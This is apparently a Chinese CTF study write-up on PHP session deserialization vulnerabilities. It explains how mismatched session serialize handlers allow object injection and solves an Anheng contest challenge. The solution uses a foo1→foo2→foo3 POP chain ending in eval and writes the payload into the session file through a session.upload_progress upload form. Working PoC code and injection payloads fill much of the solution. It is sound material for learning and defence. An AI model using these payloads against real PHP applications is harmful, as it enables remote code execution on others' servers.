知识储备
在php中session存储和反序列化存储在php.ini中的配置:
session.save_path="" --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php(php5.5.4后改为php_serialize)
session.serialize_handler是用来设置session的序列话引擎的。不同的引擎所对应的session的存储方式不相同。
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
php 键名+竖线(|)+经过serialize()函数处理过的值
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
如果要修改为其他的引擎,只需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’);
测试
php存储测试代码:
<?php
ini_set('session.serialize_handler', 'php');
session_start();
$_SESSION['name']='123';
?>
服务器生成的session文件内容:
文件名为sess_sessionid(即:session值)
name|s:3:"123";
php_binary测试代码:
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name']='123';
?>
文件名同上
服务器生成的session文件内容:
names:3:"123";
php_serialize测试代码:
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name']='123';
文件名同上
服务器生成的session文件内容:
a:1:{s:4:"name";s:3:"123";}
php session序列化漏洞
PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。
例:
实例代码:
文件名session.php
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name']=$_GET['a'];
?>
文件名:session2.php
<?php
ini_set('session.serialize_handler','php');
session_start();
class syclover{
var $func="";
function __construct() {
$this->func = "phpinfo()";
}
function __wakeup(){
eval($this->func);
}
}
在php_serialize引擎下,我们在访问session.php是传入a=|O:8:”syclover”:1:{s:4:”func”;s:10:”phpinfo();”;}
然后访问session2.php会执行phpinfo()函数。
解释:$_SESSION的数据使用php_serialize引擎时,那么最后的存储在session文件的内容就是a:1:{s:4:”name”;s:49:”|O:8:”syclover”:1:{s:4:”func”;s:10:”phpinfo();”;}
但是我们在session2.php进行读取session的时候,选择的是php,那么最后读取的内容是:
array(1) { ["a:1:{s:4:"name";s:49:""]=> object(syclover)#1 (1) { ["func"]=> string(10) "phpinfo();" } }
这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:4:”name”;s:49:”作为SESSION的key,将O:8:”syclover”:1:{s:4:”func”;s:10:”phpinfo();”;}作为value,然后进行反序列化,最后就会得到一个syclover对象。
这种由于序列化和反序列化所使用的不一样的引擎就是造成PHP Session序列化漏洞。
例题:
(安恒月赛)
源码:
index.php
<?php
ini_set('session.serialize_handler', 'php');
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>
class.php
<?php
highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);
class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "<br>文件".$this->varr."存在<br>";
}
echo "<br>这是foo1的析构函数<br>";
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "<br>这是foo2的析构函数<br>";
}
}
class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "<br>这是foo3的析构函数<br>";
}
}
?>
phpinfo.php
<?php
session_start();
require("./class.php");
$f3 = new foo3();
$f3->varr = "phpinfo();";
$f3->execute();
?>
flag自己建立文件写入。
题目配置:
php>5.5.4
php.ini配置
session.auto_start=Off
session.serialize_handler=php_serialize
session.upload_progress.cleanup=Off
session.upload_progress.enabled=On
我们要通过foo3中的execute来执行我们自定义的函数。
自建poc:
<?php
class foo3{
public $varr="var_dump(scandir('./'));";
function execute(){
eval($this->varr);
}
}
class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = new foo3();
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
}
class foo1{
public $varr;
function __construct(){
$this->varr = new foo2();
}
}
$val=new foo1();
echo serialize($val);
在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值var_dump(scandir(‘./‘));
序列化值为:
O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:24:"var_dump(scandir('./'));";}}}
session.upload_progress.enabled,当它为开启状态时,PHP能够在每一个文件上传时监测上传进度。
当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。
现在session.upload_progress.enabled是开启的,所以可以通过上传文件,从而在session文件中写入数据。
于是构造本地上传文件:
<form action="http://localhost/anheng/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
这里的PHP_SESSION_UPLOAD_PROGRESS就是就是为了添加session数据。
因为我们上传文件是用到的session机制是php_serialize。
而index.php开启session时的session机制为php
所以抓去上传文件的包更改文件名为我们构造的反序列化值。
这里我们需要知道php机制下读取session时是以竖线为分割符。这样我们就可以获取一个对象。
所以我们要在反序列化值前加一个竖线。还有就是我们为了防止引号
被错误解释。就需要进行转义,在双引号前都加上反斜线。
所以构造playload:
|O:4:\"foo1\":1:{s:4:\"varr\";O:4:\"foo2\":2:{s:4:\"varr\";s:10:\"1234567890\";s:3:\"obj\";O:4:\"foo3\":1:{s:4:\"varr\";s:24:\"var_dump(scandir('./'));\";}}}
这时存储的session内容是:
a:1:{s:19:"upload_progress_123";a:5:{s:10:"start_time";i:1558005110;s:14:"content_length";i:460;s:15:"bytes_processed";i:460;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:139:"|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:24:"var_dump(scandir('./'));";}}}
然后就是读文件了。。。
最后就能获取flag。。。
总结
这只是序列化的皮毛。还有很多要学。。。加油吧。emmm